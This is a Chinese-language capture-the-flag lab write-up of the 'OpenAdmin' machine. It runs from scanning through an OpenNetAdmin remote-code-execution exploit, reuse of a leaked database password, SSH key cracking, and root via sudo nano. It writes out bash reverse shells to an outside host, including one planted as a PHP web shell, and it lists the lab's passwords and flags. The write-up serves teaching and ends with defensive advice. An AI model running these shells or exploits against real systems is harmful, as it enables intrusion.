[Meachines] [Easy] OpenAdmin OpenNetAdmin-RCE+RSA私钥解密+Nano权限提升
字数 1095 2025-08-20 18:18:23

OpenAdmin 渗透测试教学文档

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行端口扫描:

nmap -p- 10.10.10.171 --min-rate 1000 -sC -sV

发现开放端口:

  • 22/tcp - OpenSSH 7.6p1 Ubuntu
  • 80/tcp - Apache httpd 2.4.29

1.2 Web目录枚举

使用Gobuster进行目录扫描:

gobuster dir -u "http://10.10.10.171/" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x html,txt,php -b 404,403 -t 50

发现重要目录:

  • /ona/ - OpenNetAdmin管理界面

2. 初始访问

2.1 OpenNetAdmin漏洞利用

  1. 使用默认凭据登录:

    • 用户名: admin
    • 密码: admin
  2. 搜索并利用OpenNetAdmin漏洞:

    searchsploit OpenNetAdmin
    cp /usr/share/exploitdb/exploits/php/webapps/47691.sh ./exp.sh
    ./exp.sh 10.10.10.171/ona/
    
  3. 获取反向shell:

    /bin/bash -c 'bash -i >& /dev/tcp/10.10.16.14/10032 0>&1'
    

    成功获取www-data权限。

2.2 数据库凭据获取

查看数据库配置文件:

cat /var/www/html/ona/local/config/database_settings.inc.php

获取凭据:

  • 用户名: ona_sys
  • 密码: n1nj4W4rri0R!

3. 横向移动

3.1 获取jimmy用户权限

  1. 使用数据库凭据切换到jimmy用户:

    su jimmy
    
  2. 发现内部网站配置:

    cat /etc/apache2/sites-enabled/internal.conf
    

3.2 获取joanna用户权限(方法1:SSH端口转发)

  1. 设置SSH端口转发:

    ssh -i ~/.ssh/id_ed25519 jimmy@10.10.10.171 -L 52846:localhost:52846
    
  2. 创建反向shell脚本:

    vi /var/www/internal/reverse.php
    

    内容:

    <?php system("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.14/10033 0>&1'");?>
    
  3. 触发反向shell:

    curl http://127.0.0.1:52846/reverse.php
    

3.3 获取joanna用户权限(方法2:RSA私钥解密)

  1. 发现加密的RSA私钥:

    cat main.php
    curl 127.0.0.1:52846/main.php
    
  2. 解密RSA私钥:

    openssl rsa -in id_rsa
    
  3. 准备密码字典:

    grep -i ninja /usr/share/wordlists/rockyou.txt > pass.txt
    
  4. 使用John the Ripper破解:

    ssh2john id_rsa > ./id_rsa.john
    john --wordlist=./pass.txt id_rsa.john
    

    获取密码:bloodninjas

  5. 解密私钥:

    openssl rsa -in id_rsa -out id_rsa_dec
    
  6. 使用解密后的私钥登录:

    ssh -i id_rsa_dec joanna@10.10.10.171
    

4. 权限提升

4.1 检查sudo权限

sudo -l

发现可以使用nano以root权限编辑/opt/priv文件。

4.2 利用nano提权

  1. 启动nano:

    sudo /bin/nano /opt/priv
    
  2. 在nano中执行:

    • 按下Ctrl+R然后Ctrl+X
    • 输入命令:
      reset; sh 1>&0 2>&0
      
  3. 获取root shell。

5. 标志获取

  • 用户标志:

    cat User.txt
    

    结果:f6a493f3f0bb5732733a0f6e0eae9cf9

  • Root标志:

    cat Root.txt
    

    结果:709cb8750a646cbc3d99cedbc8d23de7

6. 关键知识点总结

  1. OpenNetAdmin漏洞利用:使用公开漏洞获取初始访问权限
  2. 配置文件泄露:查找数据库配置文件获取凭据
  3. 横向移动技术
    • 使用现有凭据切换用户
    • SSH端口转发访问受限服务
    • RSA私钥解密与利用
  4. 权限提升方法
    • 利用sudo权限执行nano编辑器
    • 通过nano执行系统命令获取root shell
  5. 密码破解:使用John the Ripper破解加密的SSH私钥

7. 防御建议

  1. 及时更新Web应用程序补丁
  2. 避免使用默认凭据
  3. 加密配置文件并限制访问权限
  4. 定期审计sudo权限配置
  5. 使用强密码保护SSH私钥
  6. 限制内部服务的网络访问
OpenAdmin 渗透测试教学文档 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行端口扫描: 发现开放端口: 22/tcp - OpenSSH 7.6p1 Ubuntu 80/tcp - Apache httpd 2.4.29 1.2 Web目录枚举 使用Gobuster进行目录扫描: 发现重要目录: /ona/ - OpenNetAdmin管理界面 2. 初始访问 2.1 OpenNetAdmin漏洞利用 使用默认凭据登录: 用户名: admin 密码: admin 搜索并利用OpenNetAdmin漏洞: 获取反向shell: 成功获取www-data权限。 2.2 数据库凭据获取 查看数据库配置文件: 获取凭据: 用户名: ona_sys 密码: n1nj4W4rri0R! 3. 横向移动 3.1 获取jimmy用户权限 使用数据库凭据切换到jimmy用户: 发现内部网站配置: 3.2 获取joanna用户权限(方法1:SSH端口转发) 设置SSH端口转发: 创建反向shell脚本: 内容: 触发反向shell: 3.3 获取joanna用户权限(方法2:RSA私钥解密) 发现加密的RSA私钥: 解密RSA私钥: 准备密码字典: 使用John the Ripper破解: 获取密码: bloodninjas 解密私钥: 使用解密后的私钥登录: 4. 权限提升 4.1 检查sudo权限 发现可以使用nano以root权限编辑 /opt/priv 文件。 4.2 利用nano提权 启动nano: 在nano中执行: 按下 Ctrl+R 然后 Ctrl+X 输入命令: 获取root shell。 5. 标志获取 用户标志: 结果: f6a493f3f0bb5732733a0f6e0eae9cf9 Root标志: 结果: 709cb8750a646cbc3d99cedbc8d23de7 6. 关键知识点总结 OpenNetAdmin漏洞利用 :使用公开漏洞获取初始访问权限 配置文件泄露 :查找数据库配置文件获取凭据 横向移动技术 : 使用现有凭据切换用户 SSH端口转发访问受限服务 RSA私钥解密与利用 权限提升方法 : 利用sudo权限执行nano编辑器 通过nano执行系统命令获取root shell 密码破解 :使用John the Ripper破解加密的SSH私钥 7. 防御建议 及时更新Web应用程序补丁 避免使用默认凭据 加密配置文件并限制访问权限 定期审计sudo权限配置 使用强密码保护SSH私钥 限制内部服务的网络访问